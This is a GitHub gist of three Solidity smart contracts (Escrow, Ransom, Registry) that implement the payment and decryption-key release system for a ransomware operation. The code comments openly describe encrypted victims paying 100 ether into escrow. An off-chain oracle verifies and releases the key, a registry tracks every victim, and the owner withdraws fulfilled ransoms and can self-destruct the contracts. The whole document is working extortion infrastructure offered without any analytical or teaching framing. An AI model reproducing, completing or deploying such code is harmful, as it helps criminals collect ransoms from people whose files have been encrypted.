Skip to content

Instantly share code, notes, and snippets.

@Aqcurate
Created January 16, 2019 15:55
Show Gist options
  • Save Aqcurate/1759ad80cf1d443d23a20fb7e012d38d to your computer and use it in GitHub Desktop.
Save Aqcurate/1759ad80cf1d443d23a20fb7e012d38d to your computer and use it in GitHub Desktop.
Escrow, Ransom, and Registry Contracts
pragma solidity ^0.4.24;
import "./Ransom.sol";
import "./Registry.sol";
///@title Escrow Contract
contract Escrow {
/**
* @dev The Escrow contract governs the payment process and release of the decryption key. It is meant to
* provide the victim assurances that they will receive a valid key in return for payment of the ransom. There can be
* many Ransom contracts registered with each Escrow contract, so while there is a unique Ransom contract for each
* victim there can be many victims associated with a single Escrow contract. Keeping track of everything is a
* single Registry contract. There is one and only one Registry and it maintains records of all the victims and the
* associated Ransom and Escrow contracts.
*
* When a victim submits their payment, the Escrow contract will request a copy of the encryption key from the
* Ransom contract. The victim also submits an encrypted file that is used to test that the key provided by
* the Ransom contract actually works. The decryption and authentication of the provided key happens off-chain
* by an Oracle. The Oracle monitors the blockchain for decryption events and when one is received, it uses its
* private key to unwrap the ransom key and attempt to decrypt (and authenticate) the file provided by the victim.
* If this process succeeds, it calls the decryptCallback function and returns a copy of the unwrapped key.
* If the process fails, no key is returned and the victim is automatically refunded their ransom payment.
* The Oracle is also what handles the authentication events that are triggered when new Ransom contracts get
* deployed and attempt to register with the Registry contract.
*/
///@dev Victim struct used to keep track of their contract details
struct Victim {
uint id; //!< The unique ID of the victim
uint ransomAmount; //!< The ransom amount the victim is required to pay
address victimAddr; //!< The account address belonging to the victim
address ransomAddr; //!< The address of the victim's Ransom contract
}
///@dev The DecryptEvent is triggered when the victim has paid the ransom and provided an encrypted test file. The
///off-chain decryption Oracle watches for this event and will attempt to unwrap the encryption key using its private
///key, decrypt and authenticate the test file, and provide the results back to the Escrow contract.
event DecryptEvent(
uint indexed id, //!< The unique ID of the victim
string encKey, //!< The encrypted key provided by the Ransom contract
string encFile //!< The encrypted test file (provided by the victim)
);
///@dev The DecryptCallbackEvent is triggered when the off-chain decryption Oracle calls the decryptCallback function
event DecryptCallbackEvent(
uint indexed id, //!< The unique ID of the victim
bool indexed result //!< The result of the decryption
);
///@dev The AuthCallbackEvent is triggered when the Registry contract calls the authCallback function
event AuthCallbackEvent(
uint indexed id, //!< The unique ID of the victim
bool indexed result //!< The result of the authentication
);
///@dev The BadPaymentEvent is triggered when the victim pays but a key is not requested.
event BadPaymentEvent(
uint indexed id //!< The unique ID of the victim
);
address owner; //!< This is the account that deployed the Escrow contract
uint ownerBalance; //!< This is the account balance of the owner (i.e., fulfilled ransoms)
address registry; //!< This is the address of the Registry contract
mapping(uint => address) vicToPayerMap; //!< Mapping from victim IDs to the account addresses that submitted payment
mapping(uint => Victim) victimMap; //!< Mapping from victim IDs to Victim structs
mapping(uint => bytes32) decKeyMap; //!< Mapping from victim IDS to decrypted ransom keys
mapping(address => uint) ransomMap; //!< Mapping from Ransom contract addresses to victim IDs
mapping(uint => uint) escrowMap; //!< Mapping from victim IDs to the amount of ransom payment received
mapping(uint => string) encFileMap; //!< Mapping from victim IDs to encrypted test files
address[] ransomContracts; //!< List of Ransom contracts registered with this Escrow contract
address oracleAccount; //!< Address of the off-chain authentication and decryption Oracle
///@dev Restricts that the caller must be the Oracle account
modifier restrictSenderToOracle {
require(msg.sender == oracleAccount, "Only the Oracle can call this");
_;
}
///@dev Restricts that the caller must be the owner account
modifier restrictSenderToOwner {
require(msg.sender == owner, "Only the Owner can call this");
_;
}
///@dev Restricts that the caller must be the Registry contract
modifier restrictSenderToRegistry {
require(msg.sender == registry, "Only the Registry contract can call this");
_;
}
///@dev Restricts that a transaction must have originated with the victim account
modifier restrictSenderToVictim(uint id) {
require(msg.sender == victimMap[id].victimAddr, "Only the Victim can call this");
_;
}
///@dev Restricts that the Ransom contract address has been authenticated
modifier onlyAuthenticated(address ransom) {
require(ransomMap[ransom] > 0, "Only authenticated Ransom contracts can call this");
_;
}
///@dev Restricts that the victim has paid the ransom amount
modifier hasPaidRansom(uint id) {
require(victimMap[id].id == id, "Victim id must be known");
require(escrowMap[id] >= victimMap[id].ransomAmount, "Only valid if Victim has paid ransom");
_;
}
/**
* @dev Escrow constructor
* @param _registry address of the Registry contract
* @param _oracleAccount address of the off-chain oracle
*/
constructor(address _registry, address _oracleAccount) public {
owner = msg.sender;
ownerBalance = 0;
registry = _registry;
oracleAccount = _oracleAccount;
}
/**
* @dev Adds a victim to the victimMap. This is only allowed to be called by an authenticated Ransom contract
* @param ransomAmount the amount the victim must pay
* @param victimId the unique ID of the victim
* @param victimAddr the account address belonging to the victim
*/
function registerRansom(uint ransomAmount, uint victimId, address victimAddr) external onlyAuthenticated(msg.sender) {
victimMap[victimId] = Victim(victimId, ransomAmount, victimAddr, msg.sender);
}
/**
* @dev Authentication callback function. This is restricted such that the caller must be the Registry contract.
* @param id the unique ID of the victim
* @param ransomAddr the address of the Ransom contract
* @param authResult indicates whether authentication was successful
*/
function authCallback(uint id, address ransomAddr, bool authResult) external restrictSenderToRegistry {
emit AuthCallbackEvent(id, authResult);
if (authResult == true) {
ransomMap[ransomAddr] = id;
ransomContracts.push(ransomAddr);
}
}
/**
* @dev This is the function that victims will call and submit their ransom payment
* @param id the unique ID of the victim
* @param encFile the encrypted test file chosen by the victim
*/
function payRansom(uint id, string encFile) external restrictSenderToVictim(id) payable {
Victim storage vicInfo = victimMap[id];
Ransom ransom = Ransom(vicInfo.ransomAddr);
if (msg.value >= vicInfo.ransomAmount && !ransom.isFulFilled()) {
escrowMap[id] += msg.value;
encFileMap[id] = encFile;
vicToPayerMap[id] = msg.sender;
ransom.requestKey();
} else {
emit BadPaymentEvent(id);
}
}
/**
* @dev This function may be called by victims to receive a refund of money paid into Escrow
* @param id the unique ID of the victim
* @param amount the amount of refund requested
* @return bool true if the amount requested is <= the amount the victim has paid
*/
function requestRefund(uint id, uint amount) external restrictSenderToVictim(id) returns (bool) {
address payer = vicToPayerMap[id];
if (payer > 0 && escrowMap[id] >= amount && amount > 0) {
escrowMap[id] -= amount;
payer.transfer(amount);
return true;
}
return false;
}
/**
* @dev This function is called by the Ransom contract after the victim has paid the ransom. It emits the
* DecryptEvent for the off-chain Oracle to process.
* @param id the unique ID of the victim
* @param encKey the wrapped encryption key held by the Ransom contract
*/
function decryptKey(uint id, string encKey) external onlyAuthenticated(msg.sender) hasPaidRansom(id) {
emit DecryptEvent(id, encKey, encFileMap[id]);
}
/**
* @dev This function is called by the off-chain Oracle after it has processed the DecryptEvent. If authResult is true,
* then the contract owner's balance increases by the ransom amount. Otherwise, the victim gets their money back.
* @param id the unique ID of the victim
* @param decKey the unwrapped encryption key (or empty string if authResult is false)
* @param authResult true/false if whether decryption and authentication succeeded
*/
function decryptCallback(uint id, bytes32 decKey, bool authResult) external restrictSenderToOracle {
require(bytes(encFileMap[id]).length != 0, "missing encrypted file");
delete encFileMap[id]; // no longer needed
decKeyMap[id] = decKey;
emit DecryptCallbackEvent(id, authResult);
Victim storage vicInfo = victimMap[id];
escrowMap[id] -= vicInfo.ransomAmount;
if (authResult) {
ownerBalance += vicInfo.ransomAmount;
Ransom(vicInfo.ransomAddr).fulfillContract();
} else {
vicToPayerMap[id].transfer(vicInfo.ransomAmount);
}
}
/**
* @dev This function returns the unwrapped encryption key (or empty string if ransom hasn't been fulfilled)
* @param id the unique ID of the victim
* @return string the unwrapped encryption key
*/
function getDecryptionKey(uint id) external onlyAuthenticated(msg.sender) view returns (bytes32) {
return decKeyMap[id];
}
/**
* @dev Enables the contract owner to withdraw funds from the contract
* @param account the account address to transfer funds to
* @param amount the amount of funds to transfer
* @return bool true if the owner has the requested amount of funds
*/
function withdrawFunds(address account, uint amount) external restrictSenderToOwner returns (bool) {
if (ownerBalance >= amount) {
ownerBalance -= amount;
account.transfer(amount);
return true;
}
return false;
}
/**
* @dev Self-destructs this contract and all associated Ransom contracts
*/
function die() external restrictSenderToOwner {
for (uint i = 0; i < ransomContracts.length; ++i) {
Ransom(ransomContracts[i]).die();
}
selfdestruct(owner);
}
/**
* @dev payable fallback function to receive "donations"
*/
function () payable public {
}
}
pragma solidity ^0.4.24;
import "./Escrow.sol";
import "./Registry.sol";
///@title Ransom contract
contract Ransom {
/**
* @dev This is the Ransom contract that is deployed for each victim. It holds an encrypted
* version of the key needed to decrypt the files on the victim machine. The only way to obtain a
* copy of the decrypted key is for the victim to pay the ransom. Once the ransom has been paid, the
* key may be retrieved through the getDecryptionKey() function.
*/
uint victimId; //!< The unique ID of the victim
string encKey; //!< The key (encrypted) being held ransom (needed to decrypt victim's files)
address victimAddr; //!< The account address belonging to the victim
uint constant RANSOMAMOUNT = 100 ether; //!< The ransom amount the victim must pay
address escrowAddr; //!< The address of the Escrow contract associated with this ransom
address registryAddr; //!< The address of the Registry contract
bool authenticated; //!< Indicates whether this contract has been authenticated with the Escrow
bool fulfilled; //!< Indicates whether the ransom has been fulfilled
///@dev The AuthFailEvent is triggered when a problem occurs authenticating with the Escrow contract
event AuthFailEvent(
uint id //!< The unique ID of the victim
);
///@dev Modifier used to restrict the caller to be the Escrow contract
modifier restrictSenderToEscrow {
require(msg.sender == escrowAddr, "Only the Escrow contract can call this");
_;
}
///@dev Modifier used to restrict the caller to be the Registry contract
modifier restrictSenderToRegistry {
require(msg.sender == registryAddr, "Only the Registry contract can call this");
_;
}
///@dev Modifier used to restrict the origin of the transaction to the victim's account
modifier restrictSenderToVictim {
require(msg.sender == victimAddr, "Only the Victim can call this");
_;
}
///@dev Modifier used to restrict calls to once this contract has been authenticated
modifier onlyAuthenticated {
require(authenticated == true, "Only valid if the Ransom contract has been authenticated");
_;
}
/**
* @dev Ransom constructor
* @param _victimId Unique ID of the victim
* @param _encKey The encrypted version of the key used to encrypt the victim's files
* @param _victimAddr The account address of the victim
* @param _registryAddr The address of the Registry contract
* @param authToken The one-time authentication code used to authenticate this contract with the Registry
*/
constructor(uint _victimId, string _encKey, address _victimAddr, address _registryAddr, uint authToken) public {
authenticated = false;
registryAddr = _registryAddr;
escrowAddr = address(0);
fulfilled = false;
victimId = _victimId;
encKey = _encKey;
victimAddr = _victimAddr;
// Call registry contract
// If the call fails (i.e, too many in queue), then emit an AuthFailEvent
bool result = Registry(registryAddr).registerVictim(victimId, authToken);
if (result == false) {
emit AuthFailEvent(victimId);
}
}
/**
* @dev Callback function from the Registry contract to indicate whether authentication was successful
* @param authResult Indicates whether authentication succeeded
*/
function authCallback(address _escrowAddr, bool authResult) external restrictSenderToRegistry {
authenticated = authResult;
if (authResult == true){
escrowAddr = _escrowAddr;
// If authentication was successful, then register with the Escrow contract
Escrow(escrowAddr).registerRansom(RANSOMAMOUNT, victimId, victimAddr);
} else {
emit AuthFailEvent(victimId);
}
}
/**
* @dev Gets the address of the Escrow contract
* @return escrowAddr Address of Escrow contract
*/
function getEscrowAddress() external view returns (address) {
return escrowAddr;
}
/**
* @dev This function may only be called by the Escrow contract. When the victim pays
* the ransom into Escrow, then the Escrow contract will request a copy of the encryption
* key to verify that it can successfully decrypt a file provided by the victim. This gives
* the victim assurances that they will be given a valid key.
*/
function requestKey() external onlyAuthenticated restrictSenderToEscrow {
Escrow(escrowAddr).decryptKey(victimId, encKey);
}
/**
* @dev The victim may call this function at any time to get a copy of the decryption key. Note that
* the key is provided by the Escrow contract. It will return an empty string until they have payed
* the ransom and the key provided by this contract has been successufully used to decrypt a file
* provided by the victim.
* @return key The encryption key that may be used to decrypt their files (or empty string if ransom
* has not been paid)
*/
function getDecryptionKey() external onlyAuthenticated restrictSenderToVictim view returns (bytes32) {
return Escrow(escrowAddr).getDecryptionKey(victimId);
}
/**
* @dev This function may only be called by the Escrow contract to indicate that the ransom has been fulfilled.
*/
function fulfillContract() external restrictSenderToEscrow onlyAuthenticated {
fulfilled = true;
}
/**
* @dev This function may be called by anyone to check if this contract has been authenticated.
* @return authenticated Indicates whether the contract has succesfully authenticated with the Registry
*/
function isAuthenticated() external view returns (bool) {
return authenticated;
}
/**
* @dev This function may be called by anyone to check if this contract has been fulfilled.
* @return fulfilled Indicates whether the contract has been fulfilled.
*/
function isFulFilled() external view returns (bool) {
return fulfilled;
}
/**
* @dev Self-dstructs this contract. May only be called by the Escrow contract
*/
function die() external restrictSenderToEscrow onlyAuthenticated {
selfdestruct(escrowAddr);
}
}
pragma solidity ^0.4.24;
import "./Escrow.sol";
import "./Ransom.sol";
///@title Registry contract
contract Registry {
/**
* @dev The Registry contract is what keeps track of all victims and associated Ransom and Escrow contracts. There
* should only ever be one active Registry contract.
*/
///@dev VictimInfo struct for keeping track of the victim ID, Ransom and Escrow contract addresses
struct VictimInfo {
uint victimId; //!< The unique ID of the victim
address ransomAddr; //!< The address of the Ransom contract for the victim
address escrowAddr; //!< The address of the Escrow contract associated with Ransom
}
///@dev The AuthEvent is an event that gets triggered when a new Ransom contract is deployed and attempts to register
///with the Registry
event AuthEvent(
uint id, //!< The unique ID of the victim
address ransomAddr, //!< The address of the Ransom contract
uint authToken, //!< The one-time authentication code
address origin //!< The origin of the transaction
);
mapping(uint => VictimInfo) victimMap; //!< Mapping from victim IDs to VictimInfo structs
address owner; //!< The address of the contract owner
uint victims; //!< Count of total victims
address oracleAccount; //!< The address of the off-chain authentication and decryption Oracle
mapping(uint => VictimInfo) authMap; //!< Mapping from victim IDs to VictimInfo structs (used before auth)
uint16 pendingAuthCount; //!< Number of active pending authentications
uint16 MAX_PENDING_AUTH_REQUESTS; //!< Max number of pending authentications
///@dev Restricts the caller to be the Oracle account
modifier restrictSenderToOracle {
require(msg.sender == oracleAccount, "Only the Oracle can call this");
_;
}
///@dev Restricts the caller to be the owner account
modifier restrictSenderToOwner {
require(msg.sender == owner, "Only the Owner can call this");
_;
}
/**
* @dev Registry constructor
* @param _oracleAccount address of the Oracle account
*/
constructor(address _oracleAccount) public {
owner = msg.sender;
pendingAuthCount = 0;
oracleAccount = _oracleAccount;
victims = 0;
MAX_PENDING_AUTH_REQUESTS = 0; // start unused, may set later
}
/**
* @dev Sets MAX_PENDING_AUTH_REQUESTS
* @param maxPending requested value for MAX_PENDING_AUTH_REQUESTS, 0 to disable
*/
function setMaxPending(uint16 maxPending) external restrictSenderToOwner {
MAX_PENDING_AUTH_REQUESTS = maxPending;
}
/**
* @dev Authenticates and register a new Victim. Anyone can call this function, but we rate limit to a max
* of MAX_PENDING_AUTH_REQUESTS pending requests at a time. The off-chain Oracle watches for AuthEvents and
* processes each request.
* @param id the unique ID of the victim
* @param authToken the one-time authentication code
* @return bool this function will always return true unless the MAX_PENDING_AUTH_REQUEST limit has been reached
*/
function registerVictim(uint id, uint authToken) external returns (bool) {
if (MAX_PENDING_AUTH_REQUESTS > 0 && pendingAuthCount == MAX_PENDING_AUTH_REQUESTS) {
return false;
}
pendingAuthCount++;
authMap[id] = VictimInfo(id, msg.sender, 0);
emit AuthEvent(id, msg.sender, authToken, tx.origin);
return true;
}
/**
* @dev Authentication callback function restricted to the off-chain Oracle. The authResult indicates
* whether authentication was succesful and to store the victim information.
* @param id the unique ID of the victim
* @param ransomAddr address of the Ransom contract
* @param escrowAddr address of the Escrow contract
* @param authResult true/false whether authentication succeeded
*/
function authCallback(uint id, address ransomAddr, address escrowAddr, bool authResult) external restrictSenderToOracle {
VictimInfo storage vicInfo = authMap[id];
require(vicInfo.ransomAddr == ransomAddr && id == vicInfo.victimId, "unknown victim id");
if (authResult == true) {
vicInfo.escrowAddr = escrowAddr;
victimMap[vicInfo.victimId] = vicInfo;
victims++;
}
pendingAuthCount--;
delete authMap[id];
Escrow(escrowAddr).authCallback(id, ransomAddr, authResult);
Ransom(ransomAddr).authCallback(escrowAddr, authResult);
}
/**
* @dev Returns the total victim count
* @return uint the number of registered victims
*/
function victimCount() external view returns (uint) {
return victims;
}
/**
* @dev Gets the Ransom contract address for a given victim ID
* @param victimId the unique ID of the victim
* @return address the Ransom contract address
*/
function getRansomAddressForVictim(uint victimId) external view returns (address) {
return victimMap[victimId].ransomAddr;
}
/**
* @dev Gets the Escrow contract address for a given victim ID
* @param victimId the unique ID of the victim
* @return address the Escrow contract address
*/
function getEscrowAddressForVictim(uint victimId) external view returns (address) {
return victimMap[victimId].escrowAddr;
}
/**
* @dev Self-destructs this contract
*/
function die() external restrictSenderToOwner {
selfdestruct(owner);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment